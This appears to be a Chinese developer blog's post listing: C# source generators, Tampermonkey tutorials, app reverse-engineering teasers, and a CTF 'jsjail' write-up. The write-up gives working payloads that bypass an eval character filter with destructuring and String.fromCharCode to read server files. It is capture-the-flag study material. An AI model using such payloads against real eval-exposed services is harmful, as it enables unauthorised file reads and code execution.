Chr_小屋 - const
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items: 使用C#源生成器自动完成服务注册
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items: 【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
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items: 小黑盒逆向分析笔记（五）【未完成】
items: 分享一道CTF题 jsjail 题解

使用C#源生成器自动完成服务注册
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date: 2024-01-24T11:28:19+08:00
description: 前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item i…

小黑盒逆向分析笔记（六）完结
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date: 2023-04-03T12:10:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] [post cid="1634"/] 前情提要 已经毕业半年多了，有关于小黑盒的开发也搁置很久了，感觉也没有那个精力继续开发了，记录一下最近的算法研究，就当给大学生活做个小结。 @> 本文适用于小黑盒 1.3.262，小黑盒历史版本参考我的仓库 @> 全文评论后可见

【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
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date: 2022-08-17T00:00:00+08:00
description: P2 初识油猴脚本 教程索引 视频链接 光讲JS感觉不是特别直观，用两个不涉及网络请求的脚本进行讲解 第一个脚本 - Remove Live.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/Bilibili/Remove_Live.js 脚本功能： 提供一个开关，用于移除直播播放器，并且带有记忆功能 源码： // ==UserScript== // @name Remove_Live // @name:zh-CN 去除B站直播间播放器 // @namespace https://blog.chrxw.com // @version 1.1 // @description 去除B站多余的直播播放器（滑稽） // @author Chr_ // @include https://live.bilibili.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // ==/UserScript== (() => { "use strict"; //去除播放器的开关 let VEnable = localStorage.getItem("VEnable") === "true"; if (VEnable) { setTimeout(() => { document.getElementById("live-player").remove(); }, 3000); } let btnArea = document.querySelector(".right-ctnr"); let btn = document.createElement("button"); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; btn.addEventListener("click", () => { VEnable = !VEnable; localStorage.setItem("VEnable", VEnable); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; if (VEnable) { document.getElementById("live-player").remove(); } else { location.reload(); } }); btnArea.insertBefore(btn, btnArea.children[0]); })(); 第二个脚本 - SteamDB CN.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/SteamDB/SteamDB_CN.js 脚本功能： 汉化SteamDB 源码： // ==UserScript== // @name:zh-CN SteamDB汉化 // @name SteamDB_CN // @namespace https://blog.chrxw.com // @supportURL https://blog.chrxw.com/scripts.html // @contributionURL https://afdian.net/@chr233 // @version 1.32 // @description SteamDB汉化插件 // @description:zh-cn SteamDB汉化插件 // @author Chr_ // @match https://steamdb.info/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @resource data https://cf.chrxw.com/SteamDB/SteamDB_CN.json // @grant GM_addStyle // @grant GM_getResourceText // @grant GM_registerMenuCommand // ==/UserScript== (() => { "use strict"; //是否打开调试模式（使用自定义汉化规则而不是在线规则） const DEBUG = localStorage["dbg_mode"] == "开"; //是否在控制台输出未汉化文本 const OUTPUT = localStorage["out_word"] == "开"; GM_registerMenuCommand(`调试汉化文本: 【${DEBUG ? "开" : "关…

【油猴脚本教程】P1 开发者工具的使用 & JavaScript 基础教程
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date: 2022-08-08T23:37:00+08:00
description: P1 开发者工具的使用 与 JavaScript 基础教程 教程索引 视频链接 (上) 视频链接 (下) 开发者工具的使用 F12 或者 菜单 -> 更多工具 -> 开发者工具 调出 切换中文 更改语言后重新打开开发者工具生效 或者 界面简介 元素 HTML 原文 HTML节点的属性 控制台 在任意Tab按ESC可以在下方调出 源代码 浏览网站中的所有资源 调试代码 网络 抓包工具 应用 查看本地储存的内容 Cookie Session LocalStorage JavaScript 基础教程 一些 JavaScript 学习资源 MDN 文档： https://developer.mozilla.org/zh-CN/docs/Web/JavaScript 廖雪峰： https://www.liaoxuefeng.com/wiki/1022910821149312 菜鸟教程： https://www.runoob.com/js/js-tutorial.html uTools 插件 基本特性 单线程 弱类型 / 动态类型 大小写敏感 ' ," 通用 不强制使用分号 (建议统一) 语法很灵活 运行时: v8, NodeJS 基础语法 注释 //单行注释 /* 多行注释 */ 变量与常量 赋值操作符 var let const //定义变量/常量 var a = 1; var b; let c = 1; let d; const e = 4; //a,b,c,d,e 1 undefined 1 undefined 4 console.log("a,b,c,d,e",a,b,c,d,e); //Uncaught SyntaxError: Missing initializer in const declaration const f; //赋新值 a = 2; c = 3; //Uncaught TypeError: Assignment to constant variable. e = 1; //重复定义 //undefined var a = 6; let c = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared let a = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared const a = 6; //常量覆盖 const e = 6; //e 6 console.log("e",e); //在子域中覆盖(ES6引入) var ts = 1; let he = 2; { var ts = "aaa"; let he = "yyy"; //ts,he aaa yyy console.log("ts,he",ts,he); } //ts,he aaa 2 console.log("ts,he",ts,he); var 定义一个 变量 let 定义一个仅在作用域内生效的 变量 const 定义一个 常量，一旦定义无法修改，但是可以覆盖定义 使用相同的操作符可以覆盖定义同名的变量，但是不建议这么使用 使用 let 覆盖定义时不影响父作用域的同名变量 强烈推荐优先使用 let 定义变量，如果值不需要改变，建议使用 const 定义成常量 函数提升 //函数提升 foo(); // "bar" function foo() { console.log("bar"); } //这种写法的函数不会被提升 bar(); // 类型错误：bar 不是一个函数 var bar = function() { console.log("bar2"); }; 作用域 { } 定义代码作用域 (ES6的内容) 使用 let 定义的变量，在子域可以访问父域的变量，但是父域不能访问子域的变量 函数中定义的内容外部无法访问 子域中定义的函数，父域无法访问 //顶级作用域(最外层的作用域) let x = 114; { //子作用域 let b = 514; //x,b 114 514 console.log("x,b", x, b); } //函数内部其实也是一种作用域 function xbz() { let c = 233; //x,c 114 233 console.log("x,c", x, c); //Uncaught ReferenceError: b is not defined console.log("b", b); } xbz(); //匿名函数同理 (() => { let d = 3.14; //x,d 114 3.14 console.log("x,d", x, …

小黑盒逆向分析笔记（五）【未完成】
type: item
date: 2021-11-19T13:28:00+08:00
description: 前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] 前情提要 距离上一篇文章已经过去一年多了，前两天心血来潮找了最新版本研究了一下，熬了两天夜也没整明白，不打算继续研究下去了，做个笔记记录下分析过程。 @> 本文适用于小黑盒 1.3.191，小黑盒历史版本参考我的仓库 @> 全文评论后可见

分享一道CTF题 jsjail 题解
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date: 2021-10-23T19:03:00+08:00
description: 前言 刚打完的比赛，还热乎着，难得拿了个一血，可惜之后就寄了…… 正文 题目附件为： ip: 152.136.122.197 port: 53502 protocol: http 用Chrome浏览器访问，提示错误的响应体 用FireFox可以看到返回内容为main.js的内容 main.js内容为： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); }); 主要逻辑是判断传入payload里有没有这些特殊符号 ` " ' [ ] ; , . / : "空格" \t \n 研究了一小时，发现(){}+是可以用的 绕过思路如下： 用解包赋值绕过函数调用中的. // 相当于 console.log('114514') var {log} = console log('114514') 用String.fromCharCode()绕过文本中的特殊字符 //得到 '.' String.fromCharCode(46) 使用{}代码段分隔多行代码，避免使用;和任何空白符号 本地测试代码如下： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0); i PS: payload外面的 (()=>{ })() 是可以去掉的 构造payload： //等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )() 用Telnet客户端连接可以执行payload 发现flag放在../flag中，读取之： //等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )() 显示的是十六进制Hex，转一下就是Flag了